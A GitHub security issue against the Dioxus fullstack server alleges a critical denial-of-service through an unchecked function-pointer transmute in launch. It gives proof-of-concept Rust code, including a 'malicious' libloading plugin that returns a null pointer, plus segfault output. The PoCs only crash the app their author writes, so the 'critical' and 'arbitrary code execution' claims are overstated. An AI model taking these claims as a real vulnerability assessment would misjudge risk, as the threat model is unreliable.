Skip to content

[Security]: DoS Caused by Arbitrary Function Pointer Transmute at Server launch #4189

Closed as not planned
@wiseaidev

Description

@wiseaidev

The Dioxus Fullstack server's launch function exposes a critical Denial-of-Service (DoS) vulnerability due to unchecked and unsafe function pointer transmutes inside its hot-reloading and render path:

let new_root = unsafe {
std::mem::transmute::<*const (), fn() -> Element>(new_root_addr)
};

Attackers can crash a Dioxus fullstack server process at runtime by passing invalid function pointers that are later invoked unsafely via std::mem::transmute.

Vulnerability

  • Arbitrary Function Pointer Coercion: The internal hot-reload logic transmutes an untyped memory address into a fn() -> Element without validation:

    let new_root = unsafe {
        std::mem::transmute::<*const (), fn() -> Element>(new_root_addr)
    };

    This creates a false assumption that new_root_addr always points to a valid and callable function. It does not enforce:

    • Non-nullness
    • Executable memory protection
    • Type safety of the target
  • Attacker Control Point: The launch function is publicly exposed via:

    pub fn launch(
        root: fn() -> Result<VNode, RenderError>,
        contexts: Vec<Box<dyn Fn() -> Box<dyn Any> + Sync + Send>>,
        platform_config: Vec<Box<dyn Any>>,
    ) -> !

    An attacker using or crafting a malicious binary can pass an invalid root pointer, which is accepted blindly and eventually invoked via unsafe code, leading to a process crash or undefined behavior.

PoC

Create a Dioxus fullstack app with a null root pointer, using std::mem::transmute:

use dioxus::prelude::*;
use std::ptr;

fn main() {
    // Trick the server into calling a function at null address.
    let invalid_root: fn() -> Element = unsafe {
        std::mem::transmute::<*const (), fn() -> Element>(ptr::null())
    };

    #[cfg(not(target_arch = "wasm32"))]
    dioxus::prelude::launch::launch(
        invalid_root,
        vec![],
        vec![],
    );

    dioxus::launch(App);
}


#[component]
fn App() -> Element {
    rsx! {
    }
}

Run It:

dx serve

The will result in a segmentation fault on (Linux/macOS):

23:05:47 [dev] Application [web] exited with error: signal: 11 (SIGSEGV) (core dumped)
23:05:47 [dev] [500] /.well-known/appspecific/com.chrome.devtools.json
23:05:59 [dev] [500] /
23:05:59 [dev] [500] /.well-known/appspecific/com.chrome.devtools.json
23:06:03 [dev] [500] /
23:06:03 [dev] [500] /.well-known/appspecific/com.chrome.devtools.json
23:06:04 [dev] [500] /favicon.ico

The root cause of this bug is located in launch.rs under server crate:

let new_root = unsafe {
std::mem::transmute::<*const (), fn() -> Element>(new_root_addr)
};

  • There is no validation that new_root_addr actually points to a valid function.
  • If the address is null, dangling, or malformed, the process enters undefined behavior.

This code occurs during hot reload but relies on the assumption that the root component pointer passed to launch() was correct.

Exploit Using libloading

To demonstrate how an attacker can exploit the unsafe transmute vulnerability in dioxus::prelude::launch::launch using a malicious dynamically loaded plugin, we can use the libloading crate to simulate runtime injection of an invalid root function pointer.

This section shows how an attacker can craft a malicious dynamic library (.so, .dll, or .dylib) that returns an invalid or malicious function pointer, which is then passed into dioxus::prelude::launch::launch. Due to unsafe transmute and lack of validation, this leads to a segfault or arbitrary code execution.

Directory Structure

exploit_demo/
├── Cargo.toml
├── Dioxus.toml
├── src
│   └── main.rs          # Dioxus main entry point
└── malicious_plugin/
    ├── Cargo.toml
    └── lib.rs           # Malicious dynamic library

Create the Malicious Plugin

malicious_plugin/Cargo.toml

Create a new project under the root directory:

cargo new malicious_plugin --lib
[package]
name = "malicious_plugin"
version = "0.1.0"
edition = "2024"

[dependencies]

[lib]
crate-type = ["cdylib"]

malicious_plugin/src/lib.rs

#[unsafe(no_mangle)]
pub extern "C" fn get_root_fn() -> *const () {
    std::ptr::null()
}

Build the plugin:

cd malicious_plugin && cargo build --release

This generates a libmalicious_plugin.so (on linux), or libmalicious_plugin.dylib (on macOS) in target/release.

Load the Malicious Plugin in the Dioxus App

Cargo.toml

[package]
name = "exploit_demo"
version = "0.1.0"
authors = ["wiseaidev <[email protected]>"]
edition = "2021"

[dependencies]
dioxus = { version = "0.6.0", features = ["fullstack"] }
libloading = "0.8.7"

[features]
default = ["web"]
web = ["dioxus/web"]
desktop = ["dioxus/desktop"]
mobile = ["dioxus/mobile"]

main.rs

use dioxus::prelude::*;
use std::path::PathBuf;

fn main() {
    // Load the malicious plugin
    let lib_path = {
        let mut path = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
        path.push("malicious_plugin/target/release");
        path.push(format!(
            "{}malicious_plugin{}",
            std::env::consts::DLL_PREFIX,
            std::env::consts::DLL_SUFFIX
        ));
        path
    };

    #[cfg(not(target_arch = "wasm32"))]
    unsafe {
        use libloading::{Library, Symbol};
        let lib = Library::new(lib_path).expect("Failed to load library");

        // Load the symbol
        let get_root_fn: Symbol<unsafe extern "C" fn() -> *const ()> =
            lib.get(b"get_root_fn").expect("Failed to load symbol");

        // Call it
        let raw_ptr = get_root_fn();

        // Transmute to expected Dioxus root component
        let fake_root: fn() -> Element = std::mem::transmute(raw_ptr);

        // Launch server with invalid root function
        dioxus::prelude::launch::launch(fake_root, vec![], vec![]);
    }

    dioxus::launch(App);
}

#[component]
fn App() -> Element {
    rsx! {}
}

Run the Dioxus app:

dx serve

This will result in a Segmentation fault. This occurs when the Dioxus server attempts to invoke the root function.

Image

This PoC shows that:

  • The root function pointer is accepted from arbitrary sources.
  • The transmute happens without validation, trusting the pointer is safe to call.
  • The server will dereference and call a potentially NULL or malicious function.

Remediation

Use a safer type like Option<fn() -> Element> and validate non-nullness before transmutation:

let new_root = match std::ptr::NonNull::new(new_root_addr as *mut ()) {
    Some(ptr) => unsafe {
        std::mem::transmute::<*const (), fn() -> Element>(ptr.as_ptr())
    },
    None => panic!("Attempted to load a null function pointer for root component"),
};

You can:

  • Validate pointers at FFI and dynamic loading boundaries.
  • Log and reject clearly malformed function pointers.
  • Panic early before undefined behavior occurs.

Conclusion

The use of unsafe transmute on an externally supplied fn() -> Element pointer is a critical vulnerability. Attackers can crash Dioxus-based servers with minimal effort by passing invalid pointers to the launch API.

To fix this issue, pointer validation and safe function coercion must be enforced before use, particularly in hot reload paths. This issue demonstrates how unsafe Rust, when applied without input constraints, can violate memory safety and reliability guarantees.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions